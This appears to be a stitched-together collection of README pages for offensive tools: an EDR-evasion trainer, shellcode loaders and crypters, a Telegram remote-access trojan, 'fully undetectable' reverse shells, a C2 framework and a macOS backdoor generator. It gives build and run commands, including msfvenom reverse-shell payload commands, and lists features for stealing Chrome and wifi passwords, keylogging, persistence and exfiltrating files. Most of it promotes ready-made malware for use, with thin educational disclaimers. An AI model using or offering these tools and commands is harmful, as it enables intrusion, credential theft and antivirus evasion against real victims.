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CrimsonEDR is an open-source project engineered to identify specific malware patterns, offering a tool for honing skills in circumventing Endpoint Detection and Response (EDR). By leveraging diverse detection methods, it empowers users to deepen their understanding of security evasion tactics.
| Detection | Description |
|---|---|
| Direct Syscall | Detects the usage of direct system calls, often employed by malware to bypass traditional API hooks. |
| NTDLL Unhooking | Identifies attempts to unhook functions within the NTDLL library, a common evasion technique. |
| AMSI Patch | Detects modifications to the Anti-Malware Scan Interface (AMSI) through byte-level analysis. |
| ETW Patch | Detects byte-level alterations to Event Tracing for Windows (ETW), commonly manipulated by malware to evade detection. |
| PE Stomping | Identifies instances of PE (Portable Executable) stomping. |
| Reflective PE Loading | Detects the reflective loading of PE files, a technique employed by malware to avoid static analysis. |
| Unbacked Thread Origin | Identifies threads originating from unbacked memory regions, often indicative of malicious activity. |
| Unbacked Thread Start Address | Detects threads with start addresses pointing to unbacked memory, a potential sign of code injection. |
| API hooking | Places a hook on the NtWriteVirtualMemory function to monitor memory modifications. |
| Custom Pattern Search | Allows users to search for specific patterns provided in a JSON file, facilitating the identification of known malware signatures. |
To get started with CrimsonEDR, follow these steps:
FreshRSS bash sudo apt-get install gcc-mingw-w64-x86-64
bash git clone https://github.com/Helixo32/CrimsonEDR
bash cd CrimsonEDR; chmod +x compile.sh; ./compile.sh
Windows Defender and other antivirus programs may flag the DLL as malicious due to its content containing bytes used to verify if the AMSI has been patched. Please ensure to whitelist the DLL or disable your antivirus temporarily when using CrimsonEDR to avoid any interruptions.
To use CrimsonEDR, follow these steps:
ioc.json file is placed in the current directory from which the executable being monitored is launched. For example, if you launch your executable to monitor from C:\Users\admin\, the DLL will look for ioc.json in C:\Users\admin\ioc.json. Currently, ioc.json contains patterns related to msfvenom. You can easily add your own in the following format:{
"IOC": [
["0x03", "0x4c", "0x24", "0x08", "0x45", "0x39", "0xd1", "0x75"],
["0xf1", "0x4c", "0x03", "0x4c", "0x24", "0x08", "0x45", "0x39"],
["0x58", "0x44", "0x8b", "0x40", "0x24", "0x49", "0x01", "0xd0"],
["0x66", "0x41", "0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40"],
["0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40", "0x1c", "0x49"],
["0x01", "0xc1", "0x38", "0xe0", "0x75", "0xf1", "0x4c", "0x03"],
["0x24", "0x49", "0x01", "0xd0", "0x66", "0x41", "0x8b", "0x0c"],
["0xe8", "0xcc", "0x00", "0x00", "0x00", "0x41", "0x51", "0x41"]
]
}
Execute CrimsonEDRPanel.exe with the following arguments:
-d <path_to_dll>: Specifies the path to the CrimsonEDR.dll file.
-p <process_id>: Specifies the Process ID (PID) of the target process where you want to inject the DLL.
For example:
.\CrimsonEDRPanel.exe -d C:\Temp\CrimsonEDR.dll -p 1234
Here are some useful resources that helped in the development of this project:
For questions, feedback, or support, please reach out to me via:
Double Venom (DVenom) is a tool that helps red teamers bypass AVs by providing an encryption wrapper and loader for your shellcode.
These instructions will get you a copy of the project up and running on your local machine for development and testing purposes.
To clone and run this application, you'll need Git installed on your computer. From your command line:
# Clone this repository
$ git clone https://github.com/zerx0r/dvenom
# Go into the repository
$ cd dvenom
# Build the application
$ go build /cmd/dvenom/After installation, you can run the tool using the following command:
./dvenom -hTo generate c# source code that contains encrypted shellcode.
Note that if AES256 has been selected as an encryption method, the Initialization Vector (IV) will be auto-generated.
./dvenom -e aes256 -key secretKey -l cs -m ntinject -procname explorer -scfile /home/zerx0r/shellcode.bin > ntinject.cs| Language | Supported Methods | Supported Encryption |
|---|---|---|
| C# | valloc, pinject, hollow, ntinject | xor, rot, aes256, rc4 |
| Rust | pinject, hollow, ntinject | xor, rot, rc4 |
| PowerShell | valloc, pinject | xor, rot |
| ASPX | valloc | xor, rot |
| VBA | valloc | xor, rot |
Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.
This project is licensed under the MIT License - see the LICENSE file for details.
Double Venom (DVenom) is intended for educational and ethical testing purposes only. Using DVenom for attacking targets without prior mutual consent is illegal. The tool developer and contributor(s) are not responsible for any misuse of this tool.
1. git clone https://github.com/machine1337/TelegramRAT.git
2. Now Follow the instructions in HOW TO USE Section.
1. Go to Telegram and search for https://t.me/BotFather
2. Create Bot and get the API_TOKEN
3. Now search for https://t.me/chatIDrobot and get the chat_id
4. Now Go to client.py and go to line 16 and 17 and place API_TOKEN and chat_id there
5. Now run python client.py For Windows and python3 client.py For Linux
6. Now Go to the bot which u created and send command in message field
HELP MENU: Coded By Machine1337
CMD Commands | Execute cmd commands directly in bot
cd .. | Change the current directory
cd foldername | Change to current folder
download filename | Download File From Target
screenshot | Capture Screenshot
info | Get System Info
location | Get Target Location
1. Execute Shell Commands in bot directly.
2. download file from client.
3. Get Client System Information.
4. Get Client Location Information.
5. Capture Screenshot
6. More features will be added
Coded By: Machine1337
Contact: https://t.me/R0ot1337
python3 based multi clients reverse shell.
1. Don't Upload Any Payloads To VirusTotal.com Bcz This tool will not work
with Time.
2. Virustotal Share Signatures With AV Comapnies.
3. Again Don't be an Idiot!
1. git clone https://github.com/machine1337/pyFUD
2. python3 server.py (enter your ip,port and start the server)
3. client.py (Edit IP AND PORT To Put Your Own IP,Port)
1. python3 server.py
2. Now Compile client.py to exe (make sure change ip and port in it)
1. Very Simple And Fully Undectable Reverse Shell
2. Multi Client Handling
3. Persistent Shell
3. auto-reconnect
5. U can Convert client.py to exe using pyinstaller tool in windows.
Use this tool Only for Educational Purpose And I will Not be Responsible For ur cruel act.
AviAtor Ported to NETCore 5 with an updated UI
About://name
AV: AntiVirus
Ator: Is a swordsman, alchemist, scientist, magician, scholar, and engineer, with the ability to sometimes produce objects out of thin air (https://en.wikipedia.org/wiki/Ator)
About://purpose
AV|Ator is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. More specifically:
[https://attack.mitre.org/techniques/T1055/]:
Portable executable injection which involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.
Thread execution hijacking which involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.
The application has a form which consists of three main inputs (See screenshot bellow):
Important note: The shellcode should be provided as a C# byte array.
The default values contain shellcode that executes notepad.exe (32bit). This demo is provided as an indication of how the code should be formed (using msfvenom, this can be easily done with the -f csharp switch, e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f csharp).
After filling the provided inputs and selecting the output path an executable is generated according to the chosen options.
In simple words, spoof an executable file to look like having an "innocent" extention like 'pdf', 'txt' etc. E.g. the file "testcod.exe" will be interpreted as "tesexe.doc"
Beware of the fact that some AVs alert the spoof by its own as a malware.
I guess you all know what it is :)
Getting a shell in a windows 10 machine running fully updated kaspersky AV
Create the payload using msfvenom
msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp
Use AVIator with the following settings
Target OS architecture: x64
Injection Technique: Thread Hijacking (Shellcode Arch: x64, OS arch: x64)
Target procedure: explorer (leave the default)
Set the listener on the attacker machine
Run the generated exe on the victim machine
Windows:
Either compile the project or download the allready compiled executable from the following folder:
https://github.com/Ch0pin/AVIator/tree/master/Compiled%20Binaries
Linux:
Install Mono according to your linux distribution, download and run the binaries
e.g. in kali:
root@kali# apt install mono-devel
root@kali# mono aviator.exe
To Damon Mohammadbagher for the encryption procedure
I developed this app in order to overcome the demanding challenges of the pentest process and this is the ONLY WAY that this app should be used. Make sure that you have the required permission to use it against a system and never use it for illegal purposes.
Codecepticon is a .NET application that allows you to obfuscate C#, VBA/VB6 (macros), and PowerShell source code, and is developed for offensive security engagements such as Red/Purple Teams. What separates Codecepticon from other obfuscators is that it targets the source code rather than the compiled executables, and was developed specifically for AV/EDR evasion.
Codecepticon allows you to obfuscate and rewrite code, but also provides features such as rewriting the command line as well.
! Before we begin !
This documentation is on how to install and use Codecepticon only. Compilation, usage, and support for tools like Rubeus and SharpHound will not be provided. Refer to each project's repo separately for more information.
Codecepticon is actively developed/tested in VS2022, but it should work in VS2019 as well. Any tickets/issues created for VS2019 and below, will not be investigated unless the issue is reproducible in VS2022. So please use the latest and greatest VS2022.
The following packages MUST be v3.9.0, as newer versions have the following issue which is still open: dotnet/roslyn#58463
Codecepticon checks the version of these packages on runtime and will inform you if the version is different to v3.9.0.
It cannot be stressed this enough: always test your obfuscated code locally first.
Open Codecepticon, wait until all NuGet packages are downloaded and then build the solution.
There are two ways to use Codecepticon, either by putting all arguments in the command line or by passing a single XML configuration file. Due to the high level of supported customisations, It's not recommended manually going through --help output to try and figure out which parameters to use and how. Use CommandLineGenerator.html and generate your command quickly:
The command generator's output format can be either Console or XML, depending what you prefer. Console commands can be executed as:
Codecepticon.exe --action obfuscate --module csharp --verbose ...etc
While when using an XML config file, as:
Codecepticon.exe --config C:\Your\Path\To\The\File.xml
If you want to deep dive into Codecepticon's functionality, check out this document.
For tips you can use, check out this document.
Obfuscating a C# project is simple, simply select the solution you wish to target. Note that a backup of the solution itself will not be taken, and the current one will be the one that will be obfuscated. Make sure that you can independently compile the target project before trying to run Codecepticon against it.
The VBA obfuscation works against source code itself rather than a Microsoft Office document. This means that you cannot pass a doc(x) or xls(x) file to Codecepticon. It will have to be the source code of the module itself (press Alt-F11 and copy the code from there).
Due to the complexity of PowerShell scripts, along with the freedom it provides in how to write scripts it is challenging to cover all edge cases and ensure that the obfuscated result will be fully functional. Although it's expected for Codecepticon to work fine against simple scripts/functionality, running it against complex ones such as PowerView will not work - this is a work in progress.
After obfuscating an application or a script, it is very likely that the command line arguments have also been renamed. The solution to this is to use the HTML mapping file to find what the new names are. For example, let's convert the following command line:
SharpHound.exe --CollectionMethods DCOnly --OutputDirectory C:\temp\
By searching through the HTML mapping file for each argument, we get:
And by replacing all strings the result is:
ObfuscatedSharpHound.exe --AphylesPiansAsp TurthsTance --AnineWondon C:\temp\
However, some values may exist in more than one category:
Therefore it is critical to always test your result in a local environment first.
The compiled output includes a lot of dependency DLLs, which due to licensing requirements we can't re-distribute without written consent.
No, Codecepticon should work with everything. The profiles are just a bit of extra tweaks that are done to the target project in order to make it more reliable and easier to work with.
But as all code is unique, there will be instances where obfuscating a project will end up with an error or two that won't allow it to be compiled or executed. In this case a new profile may be in order - please raise a new issue if this is the case.
Same principle applies to PowerShell/VBA code - although those currently have no profiles that come with Codecepticon, it's an easy task to add if some are needed.
For reporting bugs and suggesting new features, please create an issue.
For submitting pull requests, please see the Contributions section.
Before running Codecepticon make sure you can compile a clean version of the target project. Very often when this issue appears, it's due to missing dependencies for the target solution rather than Codecepticon. But if it still doesn't compile:
I will do my best, but as PowerShell scripts can be VERY complex and the PSParser isn't as advanced as Roslyn for C#, no promises can be made. Same applies for VBA/VB6.
You may at some point encounter the following error:
Still trying to get to the bottom of this one, a quick fix is to uninstall and reinstall the System.Collections.Immutable package, from the NuGet Package Manager.
Whether it's a typo, a bug, or a new feature, Codecepticon is very open to contributions as long as we agree on the following:
Python Based Crypter That Can Bypass Any Kinds Of Antivirus Products
*:- For Windows: https://www.python.org/ftp/python/3.10.7/python-3.10.7-amd64.exe
*:- For Linux:
*:- For Windows:-
*:- For Linux:-
Use this tool Only for Educational Purpose And I will Not be Responsible For ur cruel act.
God Genesis is a C2 server purely coded in Python3 created to help Red Teamers and Penetration Testers. Currently It only supports TCP reverse shell but wait a min, its a FUD and can give u admin shell from any targeted WINDOWS Machine.
The List Of Commands It Supports :-
===================================================================================================
BASIC COMMANDS:
===================================================================================================
help --> Show This Options
terminate --> Exit The Shell Completely
exit --> Shell Works In Background And Prompted To C2 Server
clear --> Clear The Previous Outputs
===================================================================================================
SYSTEM COMMANDS:
===================================================================================================
cd --& gt; Change Directory
pwd --> Prints Current Working Directory
mkdir *dir_name* --> Creates A Directory Mentioned
rm *dir_name* --> Deletes A Directoty Mentioned
powershell [command] --> Run Powershell Command
start *exe_name* --> Start Any Executable By Giving The Executable Name
===================================================================================================
INFORMATION GATHERING COMMANDS:
===================================================================================================
env --> Checks Enviornment Variables
sc --> Lists All Services Running
user --> Current User
info --> Gives Us All Information About Compromised System
av --> Lists All antivirus In Compromised System
===================================================================================================
DATA EXFILTRATION COMMANDS:
===================================================================================================
download *file_name* --> Download Files From Compromised System
upload *file_name* --> Uploads Files To Victim Pc
===================================================================================================
EXPLOITATION COMMANDS:
========================================================== =========================================
persistence1 --> Persistance Via Method 1
persistence2 --> Persistance Via Method 2
get --> Download Files From Any URL
chrome_pass_dump --> Dump All Stored Passwords From Chrome Bowser
wifi_password --> Dump Passwords Of All Saved Wifi Networks
keylogger --> Starts Key Logging Via Keylogger
dump_keylogger --> Dump All Logs Done By Keylogger
python_install --> Installs Python In Victim Pc Without UI
Check The Video To Get A Detail Knowledge
1. The Payload.py is a FULLY UNDETECTABLE(FUD) use your own techniques for making an exe file. (Best Result When Backdoored With Some Other Legitimate Applictions)
2. Able to perform privilege escalation on any windows systems.
3. Fud keylogger
4. 2 ways of achieving persistance
5. Recon automation to save your time.
How To Use Our Tool :
git clone https://github.com/SaumyajeetDas/GodGenesis.git
pip3 install -r requirements.txt
python3 c2c.py
It is worth mentioning that Suman Chakraborty have contributed in the framework by coding the the the Fud Keyloger, Wifi Password Extraction and Chrome Password Dumper modules.
Dont Forget To Change The IP ADDRESS Manually in both c2c.py and payload.py
OSripper is a fully undetectable Backdoor generator and Crypter which specialises in OSX M1 malware. It will also work on windows but for now there is no support for it and it IS NOT FUD for windows (yet at least) and for now i will not focus on windows.
You can also PM me on discord for support or to ask for new features SubGlitch1#2983
Please check the wiki for information on how OSRipper functions (which changes extremely frequently)
https://github.com/SubGlitch1/OSRipper/wiki
Here are example backdoors which were generated with OSRipper
macOS .apps will look like this on vt
You need python. If you do not wish to download python you can download a compiled release. The python dependencies are specified in the requirements.txt file.
Since Version 1.4 you will need metasploit installed and on path so that it can handle the meterpreter listeners.
apt install git python -y
git clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper
pip3 install -r requirements.txtgit clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper
pip3 install -r requirements.txtor download the latest release from https://github.com/SubGlitch1/OSRipper/releases/tag/v0.2.3
Only this
sudo python3 main.py
Please feel free to fork and open pull repuests. Suggestions/critisizm are appreciated as well
Coming soon
Just open a issue and ill make sure to get back to you
0.2.1
0.1.6
0.1.5
0.1.4
0.1.3
0.1.2
0.1.1
MIT
Inspiration, code snippets, etc.
I am very sorry to even write this here but my finances are not looking good right now. If you appreciate my work i would really be happy about any donation. You do NOT have to this is solely optional
BTC: 1LTq6rarb13Qr9j37176p3R9eGnp5WZJ9T
I am not responsible for what is done with this project. This tool is solely written to be studied by other security researchers to see how easy it is to develop macOS malware.
